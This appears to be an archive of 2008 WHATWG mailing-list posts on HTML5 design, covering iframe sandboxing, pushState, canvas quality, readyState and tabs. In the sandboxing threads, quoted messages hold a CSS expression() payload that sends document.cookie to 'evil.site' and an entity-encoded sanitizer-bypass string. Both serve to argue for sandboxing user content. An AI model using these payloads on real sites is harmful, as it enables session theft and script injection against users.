A bank sporting a site with a form encouraging the customer to enter arbitrary HTML code would be perceived innovative indeed, albeit in the Monty-Pythonic sense. I can envision the logo: The First Alternative Reality Bank. Hopefully, all its accounts would be run in lindendollars... And no wonder it could afford only one employee. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Frode Borli Sent: Saturday, July 26, 2008 9:40 AM To: Edward Z. Yang Cc: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re: [whatwg] The iframe element and sandboxing ideas Frode Borli wrote: A bank want a HTML-messaging system where the customer can write HTML-based messages to customer support trough the online banking system. Customer support personell have access to perform transactions worth millions of dollars trough the intranet web interface (where they also receive HTML-based messages from customers). A few problems with this theoretical situation: 1. Why does the bank need an HTML messaging system? Because the bank wants to be percieved as innovative by its customers? It is not my place to question WHY somebody need a feature. Why is there a manufactorer logo on most cars? It isnt strictly required... 2. Why is this system on the same domain as the intranet web interface? Content is submitted from the banks public website - but customer support handles the mails in the internal webmail system which may be on the same domain.. 3. Why do customer support personell have access to the transaction interface? Better question: is it good that since html-sanitizing cannot be done securely we need more employees? If I contact my account manager he most likely have access to perform tasks on my account, as well as on other customers bank accounts. Security depends on on a perfect sanitizer. Would you sell your sanitizer to this bank without any disclaimers, and say that your sanitizer will be valid for eternity and for all browsers that the bank decides to use internally in the future? Well, it's an open-source sanitizer. But that aside, say, I was selling them a support contract, I would not say valid for eternity. However, Then we need client side sandboxing.
Re: [whatwg] pushState
It is not customary for desktop applications to change the window title in response to current state of the document it displays. A Web browser is a desktop application and it should not exhibit such behavior either. The place to store information about the latest user action is the Edit menu, although it is optional. The page content can change after page reload thereby making some elements of session state useless or not applicable. This would still be the same page but different content. You can still make arbitrary data into JSON data using e.g. XPath or another moniker convention but, while technically possible, it would hardly be a success in lack of application-dependent intricate logic (consider e.g. the Alias Manager and its lame substitute in Microsoft Windows). Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Jonas Sicking Sent: Friday, July 25, 2008 11:45 PM To: Ian Hickson Cc: whatwg Subject: Re: [whatwg] pushState Ian Hickson wrote: On Fri, 25 Jul 2008, Jonas Sicking wrote: What is the purpose of the 'title' argument? Is the idea that the UA will show that where it usually shows the title of the page? If so the title isn't purely advisory as it should probably affect document.title as well. This would seem like a good idea to me. The idea is to use this title in the session history. It's distinct than the title and document.title because when the session history might need to say something like Mail - after opening 'compose mail', Mail - after typing paragraph ending in 'JSON-ifyable object.', and so forth, while the whole time the actual page title just says Mail - New Mail. So the idea is that this is the title that we'd display for example in the drop down where you can select a history entry to navigate to? If so, why wouldn't you want document.title to also say Mail - after opening 'compose mail' as well? Seems like good UI to keep the two in sync. What is the purpose of the url attribute? Why would you want to reload a separate page when returning to a given state, then what was used to load that state initially? If the Document gets discarded (e.g. it gets evicted from the bfcache), the URL allows the client to still pretend it has the state, allowing the server to regenerate it based on the data in the URL. But why would you want to recreate the same document using a different page than the page that originally created the document. I.e. if I have a single page that I use to show various views, why would I all of a sudden want to use another page to render one of those views just because the user restarted the browser?
Re: [whatwg] The iframe element and sandboxing ideas
I deliberately used the term HTML engine because the Internet Explorer team decided to disable this feature. However, it is still there if you use it with another front end, e.g. as a HTML application. The semantics of the about scheme is documented in the KB (not on MSDN, except for my note). HTH Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Collin Jackson Sent: Thursday, July 03, 2008 7:29 PM To: Kristof Zelechovski Cc: [EMAIL PROTECTED]; whatwg; Ian Hickson; Mike Ter Louw; HTMLWG Subject: Re: [whatwg] The iframe element and sandboxing ideas On Thu, Jul 3, 2008 at 12:59 AM, Kristof Zelechovski [EMAIL PROTECTED] wrote: Microsoft HTML engine supports the following syntax: IFRAME src=about:HTML ./HTML . I'd like to learn more about this. I wasn't able to reproduce it in IE. Is it documented somewhere? Collin Jackson
Re: [whatwg] The iframe element and sandboxing ideas
For the record: Microsoft HTML engine supports the following syntax: IFRAME src=about:HTML ./HTML . Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Mike Ter Louw Sent: Wednesday, July 02, 2008 5:42 PM To: Ian Hickson Cc: [EMAIL PROTECTED]; whatwg; HTMLWG Subject: Re: [whatwg] The iframe element and sandboxing ideas Ian Hickson wrote: This isn't very readable, I'll grant you. I'm thinking of introducing a new attribute. I haven't worked out what to call it yet, but definitely not src, source, src2, content, value, or data -- maybe html or doc, though neither of those are great. This attribute would take a string which would then be interpreted as the source document markup of an HTML document, much like the above; it would override src= if it was present, allowing src= to be used for legacy UAs: This new attribute, along with some form of content encoding (e.g., data URI scheme), could be very important to the usefulness of the seamless and sandbox attributes in some applications. Is the hold up just indecision about naming? How about text or document? Mike
Re: [whatwg] [canvas] imageRenderingQuality property
The image rendering quality property is indeed unable to hit the tradeoff between beauty of presentation and rendering speed. However, it is perfectly all right to say 'this content is some fancy GUI can be rendered downscaled without degrading the content - but that content contains engineering drawings that must be rendered as accurately as can be.' This is semantic information the browser has no way of inferring. Cheers, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Oliver Hunt Sent: Tuesday, July 01, 2008 2:18 AM To: Mark Finkle Cc: Vladimir Vukicevic; Robert O'Callahan; WHATWG; David Hyatt; Jerason Banes; Ian Hickson; Robert O'Callahan Subject: Re: [whatwg] [canvas] imageRenderingQuality property So now we need to define levels of graphic burden? and at what level of burden does the quality suffer? Seems just as hard to define. Having the author explicit say this has to be as high quality as possible or less can be low quality seems better and we have examples of other specs offering the same kind of control. No. The whole point is that the UA is in the best position to identify what the tradeoffs are, not the author -- if you want a flag to specify the quality to be used then that would require you to determine what the tradeoffs were yourself, with no substantial knowledge of what combination any given user was actually using. You need to realise that different UAs and different platforms have substantially different performance characteristics.
Re: [whatwg] [canvas] imageRenderingQuality property
Challenge accepted. THIS: the content the author wants the browser to render. HAPPEN: the sequence of operations performed by the browser in order to render THIS. QUICKLY: meeting the user's expectations how long he should wait for THIS. QUALITY: how accurately the browser follows the author's prescription. EXTRA TIME: the amount of time the rendering process is late with respect to the QUICKLY deadline. HIGHEST: most accurate. HTH, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Charles Sent: Tuesday, July 01, 2008 1:52 AM To: 'WHATWG' Subject: Re: [whatwg] [canvas] imageRenderingQuality property How can an author know which is appropriate? Erm, presumably because they're the author -- it seems quite valid to for an author to be able to say Just make this happen quickly, I don't care about the quality or Take extra time to make this the highest quality you can. No problem, all you have to do is define: - this - happen - quickly - quality - extra time - highest Of course the hard bit is that these change for every content developer, often per-platform. -- Charles
Re: [whatwg] What should the value attribute be formulti-fileupload controls in WF2?
Breaking the interface means changing the semantics without introducing new syntax. For example, if x is int[10] and you decide you need 20 of them afterwards, you say x2 is int[20] and you throw x away. Afterwards you have to accommodate the code using x, which is now undefined, to the new semantics. The fact that x is undefined is helpful because you have a smaller chance of overlooking something. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Frode Borli Sent: Tuesday, June 24, 2008 10:41 PM To: Kristof Zelechovski Cc: [EMAIL PROTECTED]; Thomas Broyer Subject: Re: [whatwg] What should the value attribute be formulti-fileupload controls in WF2? Because it breaks the common interface that the value property returns a scalar? Doesn't renaming the .value property to for example .files also break the common interface? Frode
Re: [whatwg] document.readyState and its initial value
Editorial remarks: 1. The links to current document readiness are reflexive and should be removed. 2. The page loading process mentioned should be linked to the relevant section. It would be convenient for the reader and it would also provide a visual indication that it is a reference to a locally defined technical term. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Dan Fabulich Sent: Monday, June 23, 2008 12:56 AM To: [EMAIL PROTECTED] Subject: [whatwg] document.readyState and its initial value document.readyState was added to HTML5 in April of this year. http://lists.whatwg.org/pipermail/commit-watchers-whatwg.org/2008/000652.htm l http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#current Each document has a current document readiness. When a Document object is created, it must have its current document readiness set to the string loading. Various algorithms during page loading affect this value. When the value is set, the user agent must fire a simple event called readystatechanged at the Document object. As far as I can tell via google, there has been no discussion of this property on lists.whatwg.org, so I'd like to suggest a small enhancement to the spec. HTML5 says that the current document readiness should be loading when the document is created; instead the initial state should be uninitialized. document.readyState was initially defined by Microsoft as a proprietary extension to DOM. Here's their MSDN documentation of document.readyState: http://msdn.microsoft.com/en-us/library/ms534359(VS.85).aspx An object's state is initially set to uninitialized, and then to loading. When data loading is complete, the state of the link object passes through the loaded and interactive states to reach the complete state. I believe HTML5 should change to agree with Microsoft on this point. Safari and Opera have implemented document.readyState to agree with Microsoft and I don't think it's appropriate for HTML5 to break new ground here. This matters to me because I'm trying to fix Firefox to support this property, and we need to know what the initial state should be. The point is small and not very important because it's almost impossible to encounter an HTML document in Internet Explorer in the uninitialized state. But I think the fix is small and uncontroversial: Index: source === --- source (revision 1790) +++ source (working copy) @@ -4613,7 +4613,7 @@ pEach document has a dfncurrent document readiness/dfn. When a codeDocument/code object is created, it must have its spancurrent document readiness/span set to the string - loading. Various algorithms during page loading affect this + uninitialized. Various algorithms during page loading affect this value. When the value is set, the user agent must spanfire a simple event/span called code title=event-readystatechangedreadystatechanged/code at the
Re: [whatwg] Suggestion of an alternative TCPConnection implementation
Correct me if I am wrong: no two-way TCP daemon like telnet, ssh, POP3, NNTP or IMAP allows reconnecting to an existing session when the connection drops and for UDP daemons this question is moot because the connection never drops although it can occasionally fail. Why should a custom connection from inside the browser make an exception? Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Frode Borli Sent: Thursday, June 19, 2008 12:53 AM To: [EMAIL PROTECTED] Subject: [whatwg] Suggestion of an alternative TCPConnection implementation I see one problem, and that is if the connection is lost (for example because of a proxy server): This could be fixed creating a new header ment for storing a client session id. If we standardize on that, the web server could automatically map the client back to the correct instance of the server application and neither the client, nor the server application need to know that the connection was lost. Any feedback will be appreciated.
Re: [whatwg] Sandboxing to accommodate user generated content.
Lets sort things out, folks. There is nothing in the spec to prevent a browser vendor to format the users hard drive and to drain her bank account as a bonus when the page displayed contains the string D357R0Y!N0\V!. The spec does not tell the vendors what not to do, therefore it cannot guarantee anything in this respect. The spec provides a reference implementation and it is our job not to let harmful extensions in here; what happens in the wild is beyond our control. IMHO, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Mikko Rantalainen Sent: Wednesday, June 18, 2008 9:20 AM To: whatwg@lists.whatwg.org Subject: Re: [whatwg] Sandboxing to accommodate user generated content. Frode Børli wrote: I have been reading up on past discussions on sandboxing content, and My main arguments for having this feature (in one form or another) in the browser is: - It is future proof. Changes to browsers (for example adding expression support to css) will never again require old sanitizers to be updated. Unless some braindead vendor is going to add scripting-in-sandboxing feature which would be equally braindead to unlimited expression support in css. You cannot be future proof unless you trust all the players including ALL possible browser vendors. [snip] This method will be safe for all browsers that has ever existed and that will ever exist in the future. If new features are introduced in some future version of CSS or HTML - the sandbox is still there and the applications created today does not need to have their sanitizers updated, ever. That's a pretty bold claim! I guess that a similar claim could have been said about CSS support before Microsoft added the expression() value syntax. Can *you* guarantee that a random browser vendor does not implement anything stupid for the sandbox content in the future? -- Mikko
Re: [whatwg] Sandboxing to accommodate user generated content.
1. Please elaborate how an extension of CSS would require a sanitizer update. 2. Please explain why using a dedicated tag with double parsing is easier for a Web developer than putting the code in an attribute. 3. Your quoting solution would not cause legacy browsers to show plain text; they would show HTML code, which is probably much worse than showing plain text. If you mean JavaScript can be used to extract plain text, I doubt it will be simple; there are probably lots of junctions where this procedure can derail. 4. Please explain why you consider network efficiency for legacy user agents essential. I believe that the correlation between efficiency and compatibility is negative in general. If that causes server overload, the server can discriminate content depending on the user agent; this is a temporary solution to an edge case and it should probably be acceptable. Besides, a blog page with 60 comments on it is rather hard to render and read so you should probably consider other display options in this case. 5. I am not sure why IFRAME content must be HTTP-secured if the containing page is. The specification does not impose such a restriction AFAIK. And, if you need to go secure, do not allow scribbling in the first place, right? Please take these points as a challenge, not as an attempt to let you down. I personally think your idea is worth considering. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Frode Borli Sent: Tuesday, June 17, 2008 3:05 PM To: whatwg@lists.whatwg.org Subject: Re: [whatwg] Sandboxing to accommodate user generated content. I have been reading up on past discussions on sandboxing content, and I feel that it is generally agreed on that there should be some mechanism for marking content as user generated. The discussion mainly appears to be focused on implementation. Please read my implementation notes at the end of this message on how we can include this function safely for both HTML 4 and HTML 5 browsers, and still allow HTML 4 browsers to function properly. My main arguments for having this feature (in one form or another) in the browser is: - It is future proof. Changes to browsers (for example adding expression support to css) will never again require old sanitizers to be updated. - It does not require much skill and effort from the web developer to safely sanitize user content. - Security bugs are fixed by browser vendors, and not by each web developer. In the discussions I find that backward compatability is absolutely the most important issue. Second is that it must be easy for web developers to use the features. The suggested solution of using an attribute on an iframe element for storing the user generated content has several problems; 1: The use of src= as a fallback means that style information will be lost and stylesheets must be loaded again. 2: The use of src= yields problems with iframe heights (since the src-url must be hosted on another server javascript cannot fix this) and HTML 4 browsers have no other method of adjusting the iframe height according to the content. 3: If you have a page that lists 60 comments on a blog, then the user agent would have to contact the server 60 times to fetch each comment. This again means that perl/php scripts have to be invoked 60 times for one page view - that is 61 separate database connections and session initializations. 4: For the fallback method of using src= for HTML 4 browsers to actually work, the fallback documents must be hosted on a separate domain name. This again means that a website using HTTPS must purchase and maintain two certificates. I do not believe this solution will ever be used. My solution: If we add a new element htmlarea/htmlarea, old browsers will run scripts, while new browsers will stop scripts and this is a major problem. If HTML 5 browsers require everything between htmlarea/htmlarea to be html entity escaped, that is and must be replaced with lt; and gt; respectively. If this is not done, HTML 5 browsers will issue a severe warning and refuse to display the page. Developers will quickly learn. HTML 4 browsers will never run scripts (since it will only see plain text). HTML 5 browsers will display rich text. It would be completely secure for both HTML 4 and HTML 5 browsers. A simple Javascript could clean up the HTML markup for HTML 4 browsers.. I believe the idea to deal with this is to add another attribute to iframe, besides sandbox= and seamless= we already have for sandboxing. This attribute, doc=, would take a string of markup where you would only need to escape the quotation character used (so either ' or ). The fallback for legacy user agents would be the src= attribute. -- Best regards / Med vennlig hilsen Frode Borli Seria.no Mobile: +47 406 16 637 Company: +47 216 90 000 Fax: +47 216 91 000 Think about the environment. Do not print this e-mail unless you really need to. Tenk miljo. Ikke skriv ut
Re: [whatwg] Sandboxing to accommodate user generated content.
This particular explanation is irrelevant to the topic because sandboxed fragments can contain scripts, whether within CSS or not. The idea of sandboxing is to disable scripts, not to purge them. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Frode Borli Sent: Tuesday, June 17, 2008 8:34 PM To: Kristof Zelechovski Cc: whatwg@lists.whatwg.org Subject: Re: [whatwg] Sandboxing to accommodate user generated content. 1. Please elaborate how an extension of CSS would require a sanitizer update. In the year 1998: A sanitizer algorithm works perfectly for all existing methods of adding scripts. It uses a white list, which allows only certain tags and attributes. Among the allowed attributes is colspan, rowspan and style - since the web developer wants users to be able to build tables and style them properly. In the year 1999 Internet Explorer 5.0 is introduced, and it introduces a new invention; CSS-expressions. Suddenly the formerly secure webapplication is no longer secure. A user adds the following code, and it passes the sanitizer easily: span style='color: blue; width: expression(document.write(img src=http://evil.site/+document.cookie));'/span I am absolutely certain that there will be other, brilliant inventions in the future which will break sanitizers - ofcourse we can't know which inventions today - but the sandboxing means that browser vendors in the future can prevent the above scenario.
Re: [whatwg] Sandboxing to accommodate user generated content.
The problem with tag warning is, if /data is the first token inserted, there will be no warning because the resulting code will be valid. So the key question remains: how do you tell unescaped /data from the closing /data? And the warning, if applicable, will go to the wrong person: to all readers instead of just one writer. What is invalid about img alt= src=next.png? It is not enough to scratch some JavaScript that will look all right and correctly sift out plain text for some test cases; you would have to prove that it does the right thing in all cases. Contrary to what you say, MediaWiki sanitizes HTML. You can contribute to Wikipedia without using their templates; the templates are there just to make contributing easier. It should be possible to keep all contributed content in one file with units identified as document fragments. You still have one request per one unit but all of them request the same data file. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Frode Borli Sent: Wednesday, June 18, 2008 12:12 AM To: Lachlan Hunt Cc: whatwg@lists.whatwg.org Subject: Re: [whatwg] Sandboxing to accommodate user generated content. I have been reading up on past discussions on sandboxing content, and I feel that it is generally agreed on that there should be some mechanism for marking content as user generated. The discussion mainly appears to be focused on implementation. Please read my implementation notes at the end of this message on how we can include this function safely for both HTML 4 and HTML 5 browsers, and still allow HTML 4 browsers to function properly. My main arguments for having this feature (in one form or another) in the browser is: - It is future proof. Changes to browsers (for example adding expression support to css) will never again require old sanitizers to be updated. If the sanitiser uses a whitelist based approach that forbids everything by default, and then only allows known elements and attributes; and in the case of the style attribute, known properties and values that are safe, then that would also be the case. I have written a sanitizer for html and it is very difficult - especially since browsers have undocumented bugs in their parsing. Example: div colspan=amp; style=font-family#61;expression#40;alert#40quot;hackedquot#41#41 colspan=amp;Red/div The proof that sanitazing HTML is difficult is the fact that no major site even attempts it. Even wikipedia use some obscure wiki-language, instead of implementing a wysiwyg editor. [snip] 2: The use of src= yields problems with iframe heights (since the src-url must be hosted on another server javascript cannot fix this) and HTML 4 browsers have no other method of adjusting the iframe height according to the content. In recent browsers that support cross-document messaging (Opera 9, Safari 3, Firefox 3 and IE 8), you could include a script within the comment page that calculates its own height and sends a message to the parent page with the info. In older browsers, just set the height to a reasonable minimum and let the user scroll. Sure, it's not perfect, but it's called graceul degradation. Much more difficult to implement than a sandbox/sandbox mechanism - and I do not see the point giving more work to web developers when it could be fixed so easily. 3: If you have a page that lists 60 comments on a blog, then the user agent would have to contact the server 60 times to fetch each comment. This again means that perl/php scripts have to be invoked 60 times for one page view - that is 61 separate database connections and session initializations. You could always concatenate all of the comments into a single file, reducing it down to 1 request. No you could not, if you for example want people to report comments or give them votes - which in the Web 2.0 world requires scripting. [snip] If HTML 5 browsers require everything between htmlarea/htmlarea to be html entity escaped, that is and must be replaced with lt; and gt; respectively. If this is not done, HTML 5 browsers will issue a severe warning and refuse to display the page. Developers will quickly learn. Draconian error handling is something we really want to avoid, particularly when the such an error can be triggered by failing to handle user generated content properly. I see that argument. Maybe you have a suggestion to what should happen if unescaped HTML is encountered then? HTML 4 browsers will never run scripts (since it will only see plain text). HTML 5 browsers will display rich text. It would be completely secure for both HTML 4 and HTML 5 browsers. A simple Javascript could clean up the HTML markup for HTML 4 browsers.. In a separate mail, you wrote: data lt;user supplied inputgt; /data Then this will be secure both for HTML 4 and HTML 5 browsers. HTML 4 browsers will display html, while HTML 5 browsers will display correctly formatted code. A simple
Re: [whatwg] Some media element details
The _function_ performed by the play/pause button is reciprocally correlated; OTOH, its _interactivity_ (whether enabled) can be related to playback state. Not that I like this overprotective design. HTH, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ian Hickson Sent: Thursday, June 12, 2008 2:36 AM To: Antti Koivisto Cc: [EMAIL PROTECTED] Subject: Re: [whatwg] Some media element details The state of a play/pause button is definitely not correlated to the playback state. It's correlated to the paused boolean.
Re: [whatwg] Proposal: target=_tab
Programmatically controlling the containment of a new window is a two-edged sword: you can provide for the lame user agent but you can also override user settings. The latter possibility is more painful; upgrading the browser is easier than dealing with an impertinent Web site. IMHO, Chris P.S.: If you want your answer to go to João only, just send it exclusively to him. -Original Message- From: Borek Bernard [mailto:[EMAIL PROTECTED] Sent: Thursday, June 12, 2008 11:25 AM To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg@lists.whatwg.org Subject: Re: [whatwg] Proposal: target=_tab Hi João, I'm not sure why you keep insisting that it's up to the browser -- IMO, it's up to the USER. Please read all my arguments before, it's not true that a user using a tabbed browser always prefers opening new tabs instead of new windows. That's just your user preference. Also, having means to open new tabs as opposed to new windows in the specs is nothing against the user preference, in fact, it helps to express the user preference if the browser fails to provide it.
Re: [whatwg] Proposal: target=_tab
Once you have support in CSS, you can use DOM+CSS from JS. No particular support within JS is required. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Borek Bernard Sent: Wednesday, June 11, 2008 10:37 AM To: Ian Hickson; whatwg@lists.whatwg.org Subject: Re: [whatwg] Proposal: target=_tab Hi Ian, What do you think about the GReader use case? In my eyes, it makes the _tab scenario quite valid. But, as mentioned by Adrian Sutton, there would be technical problems with older browsers so this proposal has to be scrapped. On the HTML/CSS level, this will be eventually handled by the 'target-new' property (which will be more flexible than target=_tab as well) and I hope it will find its way into JavaScript too, eventually. P.S. Sorry for not maintaining the thread sequence correctly, I couldn't figure out how to do that (that's why I used the forum instead of the mailing list in the first place :) --- Borek
Re: [whatwg] Proposal: target=_tab
You can use A.click instead of window.open. I have ignored the keyboard shortcut requirement because it is irrelevant. I agree that modifying window.open to support tabs would be more consistent; I just wanted to make you realize that neither is it strictly necessary nor does it require any support from JS itself (your postulated modification of the window.open interface method is perfectly suited for the current JS language, I hope?). HTH, Chris -Original Message- From: Borek Bernard [mailto:[EMAIL PROTECTED] Sent: Wednesday, June 11, 2008 11:27 AM To: Kristof Zelechovski; Ian Hickson; whatwg@lists.whatwg.org Subject: Re: [whatwg] Proposal: target=_tab Hi Kristof, my knowledge of JS is limited but how would you handle this situation: in your web app, you want to provide a keyboard shortcut for opening current item into a new tab. You need to invoke this action from JavaScript so setting CSS to some DOM element is not enough (AFAIK). I think window.open() would need some new optional parameter or something similar to support this. --- Borek
Re: [whatwg] Proposal: target=_tab
For the record: I do not advocate the original recommendation; I only hypothesized about what can be achieved with CSS instead. I never recommended actually doing it. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Joao Eiras Sent: Wednesday, June 11, 2008 9:16 PM To: Kristof Zelechovski; 'Borek Bernard'; 'Ian Hickson'; whatwg@lists.whatwg.org Subject: Re: [whatwg] Proposal: target=_tab As mentioned multiple times, that up to the user agent, or browser if you prefer, to control. Users with browsers with tabbed interface want tabs and that it. Leaving such usability in control of a webpage is bad. All browser that support tabs allow the user to choose if they want the browser to open new windows of just tabs. Na , Kristof Zelechovski [EMAIL PROTECTED] escreveu: You can use A.click instead of window.open. I have ignored the keyboard shortcut requirement because it is irrelevant. I agree that modifying window.open to support tabs would be more consistent; I just wanted to make you realize that neither is it strictly necessary nor does it require any support from JS itself (your postulated modification of the window.open interface method is perfectly suited for the current JS language, I hope?). HTH, Chris -Original Message- From: Borek Bernard [mailto:[EMAIL PROTECTED] Sent: Wednesday, June 11, 2008 11:27 AM To: Kristof Zelechovski; Ian Hickson; whatwg@lists.whatwg.org Subject: Re: [whatwg] Proposal: target=_tab Hi Kristof, my knowledge of JS is limited but how would you handle this situation: in your web app, you want to provide a keyboard shortcut for opening current item into a new tab. You need to invoke this action from JavaScript so setting CSS to some DOM element is not enough (AFAIK). I think window.open() would need some new optional parameter or something similar to support this. --- Borek
Re: [whatwg] Issues concerning the base element and xml:base
RFC 1808 defines how to resolve a relative URI, doesnt it?. The need to notify elements that have URI attributes is much better expressed as the need to notify those attributes themselves. However, this would require each attribute to be an object type, à la XML DOM. For completeness, attributes defined to contain an URI could expose a method resolve to return the resolved URI if appropriate and handle an event onbasechange. (All this probably is science fiction, do not assign much weight to these musings). Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ian Hickson Sent: Friday, June 06, 2008 9:02 PM To: [EMAIL PROTECTED] Subject: [whatwg] Issues concerning the base element and xml:base On Sat, 1 Mar 2008, Maciej Stachowiak wrote: I'd propose that resolution is always done against the base in effect at the time the URI is resolved. So changing the base would never trigger a reload short of another action. Then we need to define resolve. [snip] I have made notes in the spec that this is an area that needs defining. Right now I'm leaning towards defining a base href change notification behaviour for all elements that have URI attributes or are otherwise sensitive to base href changes, and defining that when the base href changes, all the elements in the document with such behaviour defined should have that behaviour activated (this would, in the simple case, just be a walk over the document with a virtual method call per element; it might be a bit slow for some documents, but then this is a very rare occurance anyway). We would also invoke this behaviour on the entire subtree of an element whenever that element is inserted into a different document, in case it matters in any cases.
Re: [whatwg] several messages
The intended result of printing a document is that there is a printed copy of a reasonable quality available. The Web page can have no knowledge of that fact (unless it has feedback from the surveillance network, that is). Assuming that it is there after printing is wishful thinking. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ian Hickson Sent: Friday, June 06, 2008 2:12 AM To: [EMAIL PROTECTED] Subject: Re: [whatwg] several messages On Sun, 17 Jul 2005, Dean Edwards wrote: I'll add another case: the onafterprint event could be used in a wizard-style application where printing some document is step 3 of 10, for example. The application could proceed to the next step (not necessarily a different document) automatically without requiring a button that says click here when done printing. That's a case that a media-specific stylesheet cannot handle. Automating tasks and reducing clicks are both high priorities in my development of web applications. Good use case!
Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into view
If the part of the document following the bookmark is too short for the containing view port, revealing the bookmark should be equivalent to scrolling to the end of the containing page. HTH, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Bonner, Matt (IPG) Sent: Thursday, June 05, 2008 8:59 PM To: Ian Hickson; Brad Fults Cc: WHAT-WG Subject: Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into view Ian Hickson wrote: On Mon, 8 Oct 2007, Brad Fults wrote: 2. It may not be possible to align the top of the element with the top of the viewport without scrolling past the bottom of the document, so the must is unreasonable. This contingency should be mentioned (scrolling past the bottom of the document is not, as far as I know, desired). I don't understand what you mean. How can something in the document be further down than the bottom of the document? I'm wondering if he was thinking about cases where the element is shorter vertically than the viewport? It might be worth clarifying what happens in that case. I assume the answer is nothing?
Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into view
Nothing in the document can be further down than the bottom. If the document scrolls past the bottom, it shows nothing under the bottom but the bottom is in the middle of the window. This is inevitable if the document is short so that it can be displayed without scrolling (and without scroll bars); it should be avoided if the document is longer than the window's height. Best regards, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ian Hickson Sent: Tuesday, June 03, 2008 1:33 PM To: Brad Fults Cc: WHAT-WG Subject: Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into view On Mon, 8 Oct 2007, Brad Fults wrote: There are a couple of problems I have found in this section. If it isn't possible to show the entire element in that way, or if the argument is omitted or is true, then the user agent must instead simply align the top of the element with the top of the viewport. [1] 2. It may not be possible to align the top of the element with the top of the viewport without scrolling past the bottom of the document, so the must is unreasonable. This contingency should be mentioned (scrolling past the bottom of the document is not, as far as I know, desired). I don't understand what you mean. How can something in the document be further down than the bottom of the document?
Re: [whatwg] [Slightly OT(?)] Programmatically defined styles [Re:Superset encodings [Re: ISO-8859-* and the C1 control range]]
Declaring classes for colors does not create much overhead over the cost of actually using the colors on the page. Otherwise there is no need to do so. Unnecessary declarations can be purged. Chris (BTW, is there any purging static linker for JavaScript, assuming eval is not used? What about CSS?) -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Oistein E. Andersen Sent: Friday, May 30, 2008 9:26 PM To: [EMAIL PROTECTED] Subject: [whatwg] [Slightly OT(?)] Programmatically defined styles [Re:Superset encodings [Re: ISO-8859-* and the C1 control range]] Adding 256 classes (of which 100--200 are actually used in each document) is certainly feasible. However, this solution would not seem to be practical for a colour scheme using a larger number of colours. Would your mantra remain the same given, e.g., 256^2 or 64^3 distinct shades of colour? If not, where should the boundary be drawn? -- Oistein E. Andersen
Re: [whatwg] Proposal for a link attribute to replace a href
I do not know how common the banner link abuse described is; using a table for banner layout is abusive enough to make this an edge case. The immediate remedy would be to transform the source document so as to propagate the anchors downwards, i.e. into each table cell. I am sure the banner server can do that. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Martin Atkins Sent: Wednesday, May 28, 2008 10:45 PM Cc: [EMAIL PROTECTED] Subject: Re: [whatwg] Proposal for a link attribute to replace a href Ian Hickson wrote: This proposal would circumvent A's main limitation which is its requirement to not wrap block-level elements or 'interactive' content. The HTML5 draft requires it wrap 'phrasing content' (essentially paragraphs) and not wrap 'interactive' content (such as other hyperlinks) however I see no reason why a link attribute should require these limits. Links would simply cascade as in the following example: table link=alphabet.html title=Alphabetical List tr tdA/td tdB/td td link=c.html title=More about CC/td tdD/td /tr /table [snip] I don't think that making an entire list into a link is really something that is useful from a usability point of view. I agree that this is an unconvincing example, but consider instead banner ads that are created from a bunch of HTML markup rather than a single image; they generally want the entire banner rectangle to be clickable but make use of tables and all sorts of other strange things. In the wild, I've seen advertisers do two different, undesirable things: some ignore the rules altogether and just put table inside a, which seems to work with some minor quirks in most browsers, or they just attach an onclick event to the root element and let events bubble up to it, where the event handler just navigates to the target page. It could be argued that the quirks you see when nesting table inside a show that implementing a block-level link element is troublesome, but I also consider that if browsers can successfully handle the bubbling of the click and mouseover event up the DOM tree through block elements they ought to be able to do the hit-testing necessary to support mouse-based navigation of a block-level link element. I'm not necessarily arguing for a global link attribute, but it would be useful if the A element's content model were extended to allow all elements so that there's a markup-only way to easily turn an entire block element into a link. This could also be extended to the LABEL element, which in visual user-agents is often interacted with in a way somewhat like a link.
Re: [whatwg] Proposal for a link attribute to replace a href
